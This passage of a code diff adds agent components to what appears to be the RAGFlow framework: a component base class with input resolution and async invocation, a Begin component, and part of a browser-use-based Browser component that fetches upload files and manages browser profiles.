+        if param not in valid_values:
+            raise ValueError(description + " {} is not supported, it should be in {}".format(param, valid_values))
+
+    @staticmethod
+    def check_defined_type(param, description, types):
+        if type(param).__name__ not in types:
+            raise ValueError(description + " {} not supported, should be one of {}".format(param, types))
+
+    @staticmethod
+    def check_and_change_lower(param, valid_list, description=""):
+        if type(param).__name__ != "str":
+            raise ValueError(description + " {} not supported, should be one of {}".format(param, valid_list))
+
+        lower_param = param.lower()
+        if lower_param in valid_list:
+            return lower_param
+        else:
+            raise ValueError(description + " {} not supported, should be one of {}".format(param, valid_list))
+
+    @staticmethod
+    def _greater_equal_than(value, limit):
+        return value >= limit - settings.FLOAT_ZERO
+
+    @staticmethod
+    def _less_equal_than(value, limit):
+        return value <= limit + settings.FLOAT_ZERO
+
+    @staticmethod
+    def _range(value, ranges):
+        in_range = False
+        for left_limit, right_limit in ranges:
+            if left_limit - settings.FLOAT_ZERO <= value <= right_limit + settings.FLOAT_ZERO:
+                in_range = True
+                break
+
+        return in_range
+
+    @staticmethod
+    def _in(value, right_value_list):
+        return value in right_value_list
+
+    @staticmethod
+    def _not_in(value, wrong_value_list):
+        return value not in wrong_value_list
+
+    def _warn_deprecated_param(self, param_name, description):
+        if self._deprecated_params_set.get(param_name):
+            logging.warning(f"{description} {param_name} is deprecated and ignored in this version.")
+
+    def _warn_to_deprecate_param(self, param_name, description, new_param):
+        if self._deprecated_params_set.get(param_name):
+            logging.warning(f"{description} {param_name} will be deprecated in future release; please use {new_param} instead.")
+            return True
+        return False
+
+
+class ComponentBase(ABC):
+    component_name: str
+    thread_limiter = asyncio.Semaphore(int(os.environ.get("MAX_CONCURRENT_CHATS", 10)))
+    variable_ref_patt = r"\{* *\{([a-zA-Z:0-9]+@[A-Za-z0-9_.-]+|sys\.[A-Za-z0-9_.]+|env\.[A-Za-z0-9_.]+)\} *\}*"
+    iteration_alias_patt = r"\{* *\{(item|index|result)\} *\}*"
+
+    def __str__(self):
+        """
+        {
+            "component_name": "Begin",
+            "params": {}
+        }
+        """
+        return """{{
+            "component_name": "{}",
+            "params": {}
+        }}""".format(self.component_name, self._param)
+
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        from agent.canvas import Graph  # Local import to avoid cyclic dependency
+
+        assert isinstance(canvas, Graph), "canvas must be an instance of Canvas"
+        self._canvas = canvas
+        self._id = id
+        self._param = param
+        self._param.check()
+
+    def is_canceled(self) -> bool:
+        return self._canvas.is_canceled()
+
+    def check_if_canceled(self, message: str = "") -> bool:
+        if self.is_canceled():
+            task_id = getattr(self._canvas, "task_id", "unknown")
+            log_message = f"Task {task_id} has been canceled"
+            if message:
+                log_message += f" during {message}"
+            logging.info(log_message)
+            self.set_output("_ERROR", "Task has been canceled")
+            return True
+        return False
+
+    def invoke(self, **kwargs) -> dict[str, Any]:
+        self.set_output("_created_time", time.perf_counter())
+        try:
+            self._invoke(**kwargs)
+        except Exception as e:
+            if self.get_exception_default_value():
+                self.set_exception_default_value()
+            else:
+                self.set_output("_ERROR", str(e))
+            logging.exception(e)
+        self._param.debug_inputs = {}
+        self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+        return self.output()
+
+    async def invoke_async(self, **kwargs) -> dict[str, Any]:
+        """
+        Async wrapper for component invocation.
+        Prefers coroutine `_invoke_async` if present; otherwise falls back to `_invoke`.
+        Handles timing and error recording consistently with `invoke`.
+        """
+        self.set_output("_created_time", time.perf_counter())
+        try:
+            if self.check_if_canceled("Component processing"):
+                return
+
+            fn_async = getattr(self, "_invoke_async", None)
+            if fn_async and asyncio.iscoroutinefunction(fn_async):
+                await fn_async(**kwargs)
+            elif asyncio.iscoroutinefunction(self._invoke):
+                await self._invoke(**kwargs)
+            else:
+                await thread_pool_exec(self._invoke, **kwargs)
+        except Exception as e:
+            if self.get_exception_default_value():
+                self.set_exception_default_value()
+            else:
+                self.set_output("_ERROR", str(e))
+            logging.exception(e)
+        self._param.debug_inputs = {}
+        self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+        return self.output()
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        raise NotImplementedError()
+
+    def output(self, var_nm: str = None) -> Union[dict[str, Any], Any]:
+        if var_nm:
+            return self._param.outputs.get(var_nm, {}).get("value", "")
+        return {k: o.get("value") for k, o in self._param.outputs.items()}
+
+    def set_output(self, key: str, value: Any):
+        if key not in self._param.outputs:
+            self._param.outputs[key] = {"value": None, "type": str(type(value))}
+        self._param.outputs[key]["value"] = value
+
+    def error(self):
+        return self._param.outputs.get("_ERROR", {}).get("value")
+
+    def reset(self, only_output=False):
+        outputs: dict = self._param.outputs  # for better performance
+        for k in outputs.keys():
+            outputs[k]["value"] = None
+        if only_output:
+            return
+
+        inputs: dict = self._param.inputs  # for better performance
+        for k in inputs.keys():
+            inputs[k]["value"] = None
+        self._param.debug_inputs = {}
+
+    def get_input(self, key: str = None) -> Union[Any, dict[str, Any]]:
+        if key:
+            return self._param.inputs.get(key, {}).get("value")
+
+        res = {}
+        input_elements = self.get_input_elements()
+        _logger.debug(
+            "[Base] Component '%s' (%s) resolving inputs. Input element keys: %s",
+            self._id,
+            self.component_name,
+            list(input_elements.keys()),
+        )
+        for var, o in input_elements.items():
+            v = self.get_param(var)
+            if v is None:
+                _logger.debug("[Base]   var '%s': param is None, skipping", var)
+                continue
+            if isinstance(v, str) and self._canvas.is_reff(v):
+                resolved = self._canvas.get_variable_value(v)
+                self.set_input_value(var, resolved)
+                _logger.debug("[Base]   var '%s': resolved ref '%s' -> %s", var, v, json.dumps(resolved, ensure_ascii=False, default=str)[:200])
+            elif isinstance(v, str) and re.search(self.variable_ref_patt, v):
+                elements = self.get_input_elements_from_text(v)
+                kv = {k: e.get("value", "") for k, e in elements.items()}
+                self.set_input_value(var, self.string_format(v, kv))
+                _logger.debug("[Base]   var '%s': resolved text refs '%s' -> %s", var, v, json.dumps(kv, ensure_ascii=False, default=str)[:200])
+            else:
+                self.set_input_value(var, v)
+                _logger.debug("[Base]   var '%s': literal value -> %s", var, json.dumps(v, ensure_ascii=False, default=str)[:200])
+            res[var] = self.get_input_value(var)
+        return res
+
+    def get_input_values(self) -> Union[Any, dict[str, Any]]:
+        if self._param.debug_inputs:
+            return self._param.debug_inputs
+
+        return {var: self.get_input_value(var) for var, o in self.get_input_elements().items()}
+
+    def _resolve_iteration_alias_ref(self, exp: str) -> str | None:
+        if exp not in {"item", "index", "result"}:
+            return None
+
+        parent = self.get_parent()
+        if not parent or parent.component_name.lower() != "iteration":
+            return None
+
+        for cid, cpn in self._canvas.components.items():
+            if cpn.get("parent_id") != parent._id:
+                continue
+            if cpn["obj"].component_name.lower() != "iterationitem":
+                continue
+            return f"{cid}@{exp}"
+
+        return None
+
+    def get_input_elements_from_text(self, txt: str) -> dict[str, dict[str, str]]:
+        res = {}
+        for r in re.finditer(self.variable_ref_patt, txt, flags=re.IGNORECASE | re.DOTALL):
+            exp = r.group(1)
+            # Use maxsplit=1 to be defensive: although `exp` here comes
+            # from `variable_ref_patt` (which constrains `var_nm` to
+            # `[A-Za-z0-9_.-]+`), a future regex relaxation or a non-
+            # pattern caller should not raise `ValueError: too many values
+            # to unpack` if the trailing part happens to contain '@'.
+            cpn_id, var_nm = exp.split("@", 1) if exp.find("@") > 0 else ("", exp)
+            res[exp] = {
+                "name": (self._canvas.get_component_name(cpn_id) + f"@{var_nm}") if cpn_id else exp,
+                "value": self._canvas.get_variable_value(exp),
+                "_retrieval": self._canvas.get_variable_value(f"{cpn_id}@_references") if cpn_id else None,
+                "_cpn_id": cpn_id,
+            }
+        for r in re.finditer(self.iteration_alias_patt, txt, flags=re.IGNORECASE | re.DOTALL):
+            exp = r.group(1)
+            if exp in res:
+                continue
+            ref = self._resolve_iteration_alias_ref(exp)
+            if not ref:
+                continue
+            cpn_id, var_nm = ref.split("@", 1)
+            res[exp] = {
+                "name": (self._canvas.get_component_name(cpn_id) + f"@{var_nm}"),
+                "value": self._canvas.get_variable_value(ref),
+                "_retrieval": self._canvas.get_variable_value(f"{cpn_id}@_references"),
+                "_cpn_id": cpn_id,
+            }
+        return res
+
+    def get_input_elements(self) -> dict[str, Any]:
+        return self._param.inputs
+
+    def get_input_form(self) -> dict[str, dict]:
+        return self._param.get_input_form()
+
+    def set_input_value(self, key: str, value: Any) -> None:
+        if key not in self._param.inputs:
+            self._param.inputs[key] = {"value": None}
+        self._param.inputs[key]["value"] = value
+
+    def get_input_value(self, key: str) -> Any:
+        if key not in self._param.inputs:
+            return None
+        return self._param.inputs[key].get("value")
+
+    @staticmethod
+    def be_output(v):
+        return pd.DataFrame([{"content": v}])
+
+    def get_component_name(self, cpn_id) -> str:
+        return self._canvas.get_component(cpn_id)["obj"].component_name.lower()
+
+    def get_param(self, name):
+        if hasattr(self._param, name):
+            return getattr(self._param, name)
+        return None
+
+    def debug(self, **kwargs):
+        return self._invoke(**kwargs)
+
+    def get_parent(self) -> Union[object, None]:
+        pid = self._canvas.get_component(self._id).get("parent_id")
+        if not pid:
+            return None
+        return self._canvas.get_component(pid)["obj"]
+
+    def get_upstream(self) -> List[str]:
+        cpn_nms = self._canvas.get_component(self._id)["upstream"]
+        return cpn_nms
+
+    def get_downstream(self) -> List[str]:
+        cpn_nms = self._canvas.get_component(self._id)["downstream"]
+        return cpn_nms
+
+    @staticmethod
+    def string_format(content: str, kv: dict[str, str]) -> str:
+        for n, v in kv.items():
+
+            def repl(_match, val=v):
+                return str(val) if val is not None else ""
+
+            content = re.sub(r"\{%s\}" % re.escape(n), repl, content)
+        return content
+
+    def exception_handler(self):
+        if not self._param.exception_method:
+            return None
+        return {"goto": self._param.exception_goto, "default_value": self._param.exception_default_value}
+
+    def get_exception_default_value(self):
+        if self._param.exception_method != "comment":
+            return ""
+        return self._param.exception_default_value
+
+    def set_exception_default_value(self):
+        self.set_output("result", self.get_exception_default_value())
+
+    def thoughts(self) -> str:
+        raise NotImplementedError()

agent/component/begin.py

@@ -0,0 +1,53 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from agent.component.fillup import UserFillUpParam, UserFillUp
+
+
+class BeginParam(UserFillUpParam):
+    """
+    Define the Begin component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.mode = "conversational"
+        self.prologue = "Hi! I'm your smart assistant. What can I do for you?"
+
+    def check(self):
+        self.check_valid_value(self.mode, "The 'mode' should be either `conversational` or `task`", ["conversational", "task", "Webhook"])
+
+    def get_input_form(self) -> dict[str, dict]:
+        return getattr(self, "inputs")
+
+
+class Begin(UserFillUp):
+    component_name = "Begin"
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Begin processing"):
+            return
+
+        layout_recognize = self._param.layout_recognize or None
+        merged_inputs = self._merge_runtime_inputs(kwargs.get("inputs", {}))
+        for k, v in merged_inputs.items():
+            if self.check_if_canceled("Begin processing"):
+                return
+            v = self._resolve_input_value(v, layout_recognize)
+            self.set_output(k, v)
+            self.set_input_value(k, v)
+
+    def thoughts(self) -> str:
+        return ""

agent/component/browser.py

@@ -0,0 +1,713 @@
+#
+#  Copyright 2026 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import asyncio
+import hashlib
+import inspect
+import json
+import logging
+import os
+import re
+import shutil
+import tempfile
+from abc import ABC
+from pathlib import Path
+from typing import Any
+from urllib.error import HTTPError, URLError
+from urllib.parse import unquote, urlparse
+from urllib.request import Request, urlopen
+
+from agent.component.base import ComponentBase
+from agent.component.llm import LLMParam
+from api.db import FileType
+from api.db.joint_services.tenant_model_service import resolve_model_config, resolve_model_type
+from api.db.services import duplicate_name
+from api.db.services.file_service import FileService
+from api.utils.file_utils import filename_type
+from common import settings
+from common.connection_utils import timeout
+from common.misc_utils import get_uuid
+from rag.llm import FACTORY_DEFAULT_BASE_URL
+
+
+class BrowserParam(LLMParam):
+    """
+    Parameters for Browser node.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.prompts = "{sys.query}"
+        self.max_steps = 30
+        self.headless = True
+        self.enable_default_extensions = False
+        self.chromium_sandbox = False
+        # Reuse browser profile across runs of the same agent node by default.
+        self.persist_session = True
+        self.upload_sources = []
+        self.outputs = {
+            "content": {"type": "string", "value": ""},
+            "downloaded_files": {"type": "Array<Object>", "value": []},
+        }
+
+    def check(self):
+        self.check_empty(self.llm_id, "[Browser] LLM")
+        self.check_positive_integer(self.max_steps, "[Browser] Max steps")
+        self.check_boolean(self.headless, "[Browser] Headless")
+        self.check_boolean(self.enable_default_extensions, "[Browser] Enable default extensions")
+        self.check_boolean(self.chromium_sandbox, "[Browser] Chromium sandbox")
+        self.check_boolean(self.persist_session, "[Browser] Persist session")
+        self.check_empty(self.prompts, "[Browser] Prompts")
+        return True
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "prompts": {"type": "text", "name": "Prompts"},
+            "upload_sources": {"type": "line", "name": "Upload sources"},
+        }
+
+
+class Browser(ComponentBase, ABC):
+    component_name = "Browser"
+
+    def _prepare_input_values(self):
+        for key, meta in self.get_input_elements().items():
+            val = meta.get("value")
+            if val is None:
+                val = ""
+            elif not isinstance(val, str):
+                val = json.dumps(val, ensure_ascii=False)
+            self.set_input_value(key, val)
+
+    def get_input_elements(self) -> dict[str, dict]:
+        text_parts = [
+            str(self._param.prompts or ""),
+            json.dumps(self._param.upload_sources, ensure_ascii=False),
+        ]
+        return self.get_input_elements_from_text("\n".join(text_parts))
+
+    def _resolve_param_value(self, value: Any) -> Any:
+        if isinstance(value, str):
+            direct_ref = value.strip()
+            if direct_ref.startswith("{") and direct_ref.endswith("}") and self._canvas.is_reff(direct_ref):
+                return self._canvas.get_variable_value(direct_ref)
+            return value
+        return value
+
+    def _extract_ids(self, value: Any) -> list[str]:
+        ids: list[str] = []
+        value = self._resolve_param_value(value)
+
+        def collect(item: Any):
+            if item is None:
+                return
+            if isinstance(item, str):
+                token = item.strip()
+                if not token:
+                    return
+                if token.startswith("{") and token.endswith("}") and self._canvas.is_reff(token):
+                    collect(self._canvas.get_variable_value(token))
+                    return
+                if token.startswith("[") and token.endswith("]"):
+                    try:
+                        parsed = json.loads(token)
+                        collect(parsed)
+                        return
+                    except Exception:
+                        pass
+                if self._is_http_url(token):
+                    ids.append(token)
+                    return
+                if "," in token:
+                    for part in token.split(","):
+                        collect(part)
+                    return
+                ids.append(token)
+                return
+            if isinstance(item, dict):
+                for k in ("file_id", "id", "url", "value"):
+                    if k in item:
+                        collect(item[k])
+                        return
+                for v in item.values():
+                    collect(v)
+                return
+            if isinstance(item, (list, tuple, set)):
+                for v in item:
+                    collect(v)
+                return
+            token = str(item).strip()
+            if token:
+                ids.append(token)
+
+        collect(value)
+        deduped: list[str] = []
+        visited = set()
+        for item in ids:
+            if item in visited:
+                continue
+            visited.add(item)
+            deduped.append(item)
+        return deduped
+
+    @staticmethod
+    def _is_http_url(value: str) -> bool:
+        token = str(value or "").strip()
+        if not token:
+            return False
+        parsed = urlparse(token)
+        return parsed.scheme in {"http", "https"} and bool(parsed.netloc)
+
+    @staticmethod
+    def _extract_url_filename(url: str, headers: Any) -> str:
+        content_disposition = str(getattr(headers, "get", lambda *_args, **_kwargs: "")("Content-Disposition", "") or "")
+        if content_disposition:
+            # Prefer RFC 5987 encoded filename*=UTF-8''... when present.
+            m = re.search(r"filename\*\s*=\s*(?:UTF-8''|utf-8'')?([^;]+)", content_disposition)
+            if m:
+                name = unquote(m.group(1).strip().strip('"'))
+                if name:
+                    return os.path.basename(name)
+            m = re.search(r'filename\s*=\s*"([^"]+)"', content_disposition)
+            if m:
+                name = m.group(1).strip()
+                if name:
+                    return os.path.basename(name)
+            m = re.search(r"filename\s*=\s*([^;]+)", content_disposition)
+            if m:
+                name = m.group(1).strip().strip('"')
+                if name:
+                    return os.path.basename(name)
+
+        parsed = urlparse(url)
+        raw_name = os.path.basename(parsed.path or "")
+        name = unquote(raw_name).strip()
+        if name:
+            return name
+        return f"url_file_{get_uuid()[:8]}.bin"
+
+    @staticmethod
+    def _resolve_upload_url_max_bytes() -> int:
+        raw = str(os.getenv("RAGFLOW_BROWSER_UPLOAD_URL_MAX_BYTES", "") or "").strip()
+        default_max_bytes = 100 * 1024 * 1024
+        if not raw:
+            return default_max_bytes
+        try:
+            parsed = int(raw)
+            return parsed if parsed > 0 else default_max_bytes
+        except (TypeError, ValueError):
+            return default_max_bytes
+
+    @staticmethod
+    def _restore_env_var(key: str, value: str | None):
+        if value is None:
+            os.environ.pop(key, None)
+            return
+        os.environ[key] = value
+
+    def _prepare_upload_url_file(self, url: str, upload_dir: str) -> dict[str, Any] | None:
+        max_bytes = self._resolve_upload_url_max_bytes()
+        local_path = ""
+        local_name = ""
+        total_size = 0
+        try:
+            req = Request(url, headers={"User-Agent": "RAGFlow-Browser-Node/1.0"})
+            with urlopen(req, timeout=30) as response:
+                local_name = self._extract_url_filename(url, response.headers)
+
+                local_path = os.path.join(upload_dir, local_name)
+                index = 1
+                while os.path.exists(local_path):
+                    stem, ext = os.path.splitext(local_name)
+                    local_path = os.path.join(upload_dir, f"{stem}_{index}{ext}")
+                    index += 1
+
+                with open(local_path, "wb") as f:
+                    while True:
+                        chunk = response.read(1024 * 1024)
+                        if not chunk:
+                            break
+                        total_size += len(chunk)
+                        if total_size > max_bytes:
+                            raise ValueError(f"upload url file exceeds max size limit: {max_bytes}")
+                        f.write(chunk)
+        except (HTTPError, URLError, OSError, TimeoutError, ValueError) as e:
+            if local_path and os.path.exists(local_path):
+                try:
+                    os.remove(local_path)
+                except OSError:
+                    pass
+            logging.warning("Browser failed to fetch upload url. url=%s, error=%s", url, e)
+            return None
+
+        if total_size <= 0:
+            if local_path and os.path.exists(local_path):
+                try:
+                    os.remove(local_path)
+                except OSError:
+                    pass
+            logging.warning("Browser upload url returned empty content: %s", url)
+            return None
+
+        return {
+            "file_id": "",
+            "name": local_name,
+            "size": total_size,
+            "local_path": local_path,
+            "source_url": url,
+        }
+
+    def _resolve_text(self, raw_text: Any) -> str:
+        text = str(self._resolve_param_value(raw_text) or "")
+        vars_map = self.get_input_elements_from_text(text)
+        kv = {}
+        for key, meta in vars_map.items():
+            val = meta.get("value", "")
+            if isinstance(val, str):
+                kv[key] = val
+            else:
+                kv[key] = json.dumps(val, ensure_ascii=False)
+        return self.string_format(text, kv)
+
+    @staticmethod
+    def _as_model_config_dict(cfg_obj: Any) -> dict[str, Any]:
+        if cfg_obj is None:
+            return {}
+        if isinstance(cfg_obj, dict):
+            return cfg_obj
+        if hasattr(cfg_obj, "to_dict") and callable(cfg_obj.to_dict):
+            try:
+                result = cfg_obj.to_dict()
+                return result if isinstance(result, dict) else {}
+            except (AttributeError, TypeError, ValueError):
+                return {}
+        result = {}
+        for key in ("model", "model_name", "llm_name", "llm_factory", "api_key", "base_url", "api_base", "temperature"):
+            val = getattr(cfg_obj, key, None)
+            if val not in (None, ""):
+                result[key] = val
+        return result
+
+    @staticmethod
+    def _error_chain(exc: Exception) -> str:
+        parts = []
+        cur = exc
+        depth = 0
+        while cur is not None and depth < 6:
+            parts.append(f"{type(cur).__name__}: {cur}")
+            cur = cur.__cause__ or cur.__context__
+            depth += 1
+        return " <- ".join(parts)
+
+    @staticmethod
+    def _resolve_browser_executable() -> str:
+        explicit_candidates = [
+            os.getenv("BROWSER_USE_EXECUTABLE_PATH", "").strip(),
+            os.getenv("BROWSER_USE_BROWSER_BINARY_PATH", "").strip(),
+            os.getenv("BROWSER_USE_CHROME_BINARY_PATH", "").strip(),
+        ]
+        for explicit in explicit_candidates:
+            if explicit and os.path.isfile(explicit) and os.access(explicit, os.X_OK):
+                return explicit
+        candidates = [
+            "/opt/chrome/chrome",
+            "/usr/local/bin/chrome",
+            "/usr/local/bin/google-chrome",
+            "/usr/bin/google-chrome",
+            "/usr/bin/google-chrome-stable",
+            "/usr/bin/chromium",
+            "/usr/bin/chromium-browser",
+        ]
+        for path in candidates:
+            if os.path.isfile(path) and os.access(path, os.X_OK):
+                return path
+        for cmd in ("chrome", "google-chrome", "google-chrome-stable", "chromium", "chromium-browser"):
+            path = shutil.which(cmd)
+            if path and os.path.isfile(path) and os.access(path, os.X_OK):
+                return path
+        return ""
+
+    @staticmethod
+    def _normalize_model_name(model: Any) -> str:
+        name = str(model or "").strip()
+        if not name:
+            return ""
+        if name.startswith("bu-") or name.startswith("browser-use/"):
+            return name
+        if "@" in name:
+            # RAGFlow model aliases may include provider suffix, e.g. qwen3.5-flash@Tongyi-Qianwen.
+            # browser-use OpenAI-compatible adapters need the pure model name.
+            name = name.split("@", 1)[0].strip()
+        return name
+
+    @staticmethod
+    def _safe_path_segment(value: Any) -> str:
+        token = str(value or "").strip()
+        if not token:
+            return "unknown"
+        token = re.sub(r"[^A-Za-z0-9._-]+", "_", token)
+        return token.strip("._-") or "unknown"
+
+    def _resolve_persistent_profile_dir(self) -> str:
+        root = os.path.join(tempfile.gettempdir(), "ragflow_browser_use_profiles")
+        tenant = self._safe_path_segment(self._canvas.get_tenant_id())
+        raw_canvas_id = getattr(self._canvas, "_id", "")
+        if not raw_canvas_id:
+            graph_text = json.dumps(
+                self._canvas.dsl.get("graph", {}),
+                sort_keys=True,
+                ensure_ascii=False,
+            )
+            raw_canvas_id = f"dsl_{hashlib.sha1(graph_text.encode('utf-8')).hexdigest()[:12]}"
+        canvas_id = self._safe_path_segment(raw_canvas_id)
+        node_id = self._safe_path_segment(self._id)
+        return os.path.join(root, tenant, canvas_id, node_id)
+
+    def _should_persist_session(self) -> bool:
+        return bool(self._param.persist_session)
+
+    def _infer_provider_name(self, cfg: dict[str, Any]) -> str:
+        provider = str(cfg.get("llm_factory") or "").strip()
+        if provider:
+            return provider
+        llm_id = str(self._param.llm_id or "")
+        if "@" in llm_id:
+            return llm_id.split("@", 1)[1].strip()
+        return ""
+
+    def _resolve_openai_compatible_base_url(self, cfg: dict[str, Any]) -> str:
+        explicit = str(cfg.get("base_url") or cfg.get("api_base") or "").strip()
+        if explicit:
+            return explicit
+
+        provider = self._infer_provider_name(cfg)
+        fallback = str(FACTORY_DEFAULT_BASE_URL.get(provider, "")).strip()
+        return fallback if fallback else ""
+
+    def _build_browser_llm(self):
+        from browser_use.llm import ChatBrowserUse, ChatOpenAI
+
+        chat_model_config = resolve_model_config(
+            self._canvas.get_tenant_id(),
+            resolve_model_type(self._canvas.get_tenant_id(), self._param.llm_id),
+            self._param.llm_id,
+        )
+        cfg = self._as_model_config_dict(chat_model_config)
+        model_name = self._normalize_model_name(cfg.get("model_name") or cfg.get("model") or self._param.llm_id)
+        if not model_name:
+            raise ValueError(f"Invalid model config for Browser llm_id={self._param.llm_id}")
+        base_url = self._resolve_openai_compatible_base_url(cfg)
+
+        # ChatBrowserUse only supports bu-* models. For tenant models, use OpenAI-compatible adapter.
+        if model_name.startswith("bu-") or model_name.startswith("browser-use/"):
+            llm_kwargs = {
+                "model": model_name,
+                "api_key": cfg.get("api_key"),
+                "base_url": base_url,
+                "temperature": self._param.temperature,
+                "max_retries": self._param.max_retries,
+            }
+            llm_kwargs = {k: v for k, v in llm_kwargs.items() if v not in (None, "")}
+            return ChatBrowserUse(**llm_kwargs)
+
+        # browser-use Agent defaults to json_schema response_format and may use tool_choice via
+        # ChatDeepSeek. Many providers (e.g. DeepSeek thinking models) reject both. Use ChatOpenAI
+        # with schema-in-prompt and without forced structured output on the first run.
+        llm_kwargs = {
+            "model": model_name,
+            "api_key": cfg.get("api_key"),
+            "base_url": base_url,
+            "temperature": self._param.temperature,
+            "max_retries": self._param.max_retries,
+            "add_schema_to_system_prompt": True,
+            "dont_force_structured_output": True,
+        }
+        llm_kwargs = {k: v for k, v in llm_kwargs.items() if v not in (None, "")}
+        return ChatOpenAI(**llm_kwargs)
+
+    async def _run_browser_use_async(
+        self,
+        task_text: str,
+        download_dir: str,
+        available_file_paths: list[str] | None = None,
+        profile_dir: str | None = None,
+    ):
+        from browser_use import Agent as BrowserUseAgent, Browser as BrowserUseBrowser
+
+        llm = self._build_browser_llm()
+        # NOTE:
+        # _invoke() uses asyncio.run(), which creates a fresh event loop per task run.
+        # Reusing a Browser object created by a previous loop can deadlock/timestamp out
+        # in browser-use watchdog handlers on subsequent runs.
+        # We keep persistent user_data_dir for session continuity, but we do not keep
+        # browser instances alive across runs.
+        available_file_paths = available_file_paths or []
+        agent_kwargs: dict[str, Any] = {
+            "task": task_text,
+            "llm": llm,
+            "available_file_paths": available_file_paths,
+        }
+        browser_obj = None
+        previous_disable_extensions = os.environ.get("BROWSER_USE_DISABLE_EXTENSIONS")
+        previous_browser_binary_path = os.environ.get("BROWSER_USE_BROWSER_BINARY_PATH")
+
+        try:
+            enable_default_extensions = bool(self._param.enable_default_extensions)
+            if not enable_default_extensions:
+                os.environ["BROWSER_USE_DISABLE_EXTENSIONS"] = "1"
+            else:
+                os.environ.pop("BROWSER_USE_DISABLE_EXTENSIONS", None)
+
+            executable_path = self._resolve_browser_executable()
+            browser_kwargs = {
+                "headless": self._param.headless,
+                "downloads_path": download_dir,
+                # Docker often runs as root without user namespaces; disable sandbox by default.
+                "chromium_sandbox": bool(self._param.chromium_sandbox),
+                # Disable runtime extension download by default for intranet/offline environments.
+                # Enable only when explicitly required and extensions are pre-cached.
+                "enable_default_extensions": enable_default_extensions,
+            }
+            if executable_path:
+                browser_kwargs["executable_path"] = executable_path
+                # Keep browser-use watchdog fallback in sync with our resolved path.
+                os.environ["BROWSER_USE_BROWSER_BINARY_PATH"] = executable_path
+            else:
+                logging.warning("Browser no local browser executable found. Set BROWSER_USE_EXECUTABLE_PATH or preinstall chromium in image to avoid runtime playwright install.")
+            if profile_dir:
+                browser_kwargs["user_data_dir"] = profile_dir
+                # browser-use expects profile_directory to be a profile name
+                # such as "Default" / "Profile 1", not an absolute path.
+                browser_kwargs["profile_directory"] = "Default"
+
+            browser_obj = BrowserUseBrowser(**browser_kwargs)
+            agent_kwargs["browser"] = browser_obj
+        except (OSError, RuntimeError, TypeError, ValueError) as e:
+            logging.warning("Browser browser context customization skipped: %s", e)
+
+        agent = BrowserUseAgent(**agent_kwargs)
+
+        history = None
+        run_fn = getattr(agent, "run", None)
+        if run_fn is None:
+            raise RuntimeError("browser-use Agent does not provide run().")
+
+        run_kwargs = {"max_steps": self._param.max_steps}
+        try:
+            if inspect.iscoroutinefunction(run_fn):
+                history = await run_fn(**run_kwargs)
+            else:
+                history = await asyncio.to_thread(run_fn, **run_kwargs)
+        except Exception as e:
+            logging.error("Browser agent.run failed. error_chain=%s", self._error_chain(e))
+            logging.exception("Browser agent.run traceback")
+            raise
+        finally:
+            if browser_obj:
+                close_fn = getattr(browser_obj, "close", None)
+                if close_fn:
+                    try:
+                        if inspect.iscoroutinefunction(close_fn):
+                            await close_fn()
+                        else:
+                            await asyncio.to_thread(close_fn)
+                    except Exception as close_err:
+                        logging.warning("Browser failed to close browser object cleanly: %s", close_err)
+            self._restore_env_var("BROWSER_USE_DISABLE_EXTENSIONS", previous_disable_extensions)
+            self._restore_env_var("BROWSER_USE_BROWSER_BINARY_PATH", previous_browser_binary_path)
+
+        return history
+
+    def _prepare_upload_files(self, upload_dir: str) -> list[dict[str, Any]]:
+        upload_refs = self._extract_ids(self._param.upload_sources)
+        prepared = []
+        for file_ref in upload_refs:
+            if self._is_http_url(file_ref):
+                prepared_url_file = self._prepare_upload_url_file(file_ref, upload_dir)
+                if prepared_url_file:
+                    prepared.append(prepared_url_file)
+                continue
+
+            file_id = file_ref
+            exists, file = FileService.get_by_id(file_id)
+            if not exists:
+                logging.warning("Browser upload file_id not found: %s", file_id)
+                continue
+            try:
+                blob = settings.STORAGE_IMPL.get(file.parent_id, file.location)
+                if not blob:
+                    logging.warning("Browser upload blob not found: %s", file_id)
+                    continue
+                local_name = os.path.basename(file.location) if file.location else (file.name or f"{file_id}.bin")
+                local_path = os.path.join(upload_dir, local_name)
+                index = 1
+                while os.path.exists(local_path):
+                    stem, ext = os.path.splitext(local_name)
+                    local_path = os.path.join(upload_dir, f"{stem}_{index}{ext}")
+                    index += 1
+                with open(local_path, "wb") as f:
+                    f.write(blob)
+            except OSError as e:
+                logging.warning("Browser failed to prepare upload file. file_id=%s, error=%s", file_id, e)
+                continue
+            except Exception as e:
+                logging.warning("Browser failed to fetch upload blob. file_id=%s, error=%s", file_id, e)
+                continue
+            prepared.append(
+                {
+                    "file_id": file.id,
+                    "name": file.name,
+                    "size": file.size,
+                    "local_path": local_path,
+                }
+            )
+        return prepared
+
+    def _save_downloads(self, download_dir: str, parent_id: str) -> list[dict[str, Any]]:
+        downloaded_files: list[dict[str, Any]] = []
+        exists, folder = FileService.get_by_id(parent_id)
+        if not exists or folder.type != FileType.FOLDER.value:
+            raise ValueError(f"RAGFlow target folder does not exist or is not a folder: {parent_id}")
+        tenant_id = self._canvas.get_tenant_id()
